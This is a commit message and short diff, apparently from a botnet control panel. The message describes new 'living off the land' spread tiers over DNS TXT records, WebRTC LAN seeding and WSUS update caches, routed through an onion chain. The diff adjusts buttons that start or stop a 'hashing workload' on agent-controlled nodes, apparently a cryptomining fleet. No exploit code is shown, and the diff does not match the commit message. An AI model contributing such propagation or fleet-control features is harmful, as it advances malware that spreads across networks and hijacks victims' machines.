Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.

Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.

server/web/src/components/Fleet/CrucibleExpandedOps.tsx

@@ -313,7 +313,7 @@ export default function CrucibleExpandedOps({
           <button
             type="button"
             className="button crucible-op-btn"
-            disabled={!hasSelection}
+            disabled={targets.length === 0}
             title="Fleet health: restore hashing workload on selected online nodes"
             onClick={() => {
               const ids = targets.map((a) => a.id);
@@ -326,7 +326,7 @@ export default function CrucibleExpandedOps({
           <button
             type="button"
             className="button crucible-op-btn"
-            disabled={!hasSelection}
+            disabled={targets.length === 0}
             title="Fleet health: power down hashing without disconnecting the agent"
             onClick={() => {
               const ids = targets.map((a) => a.id);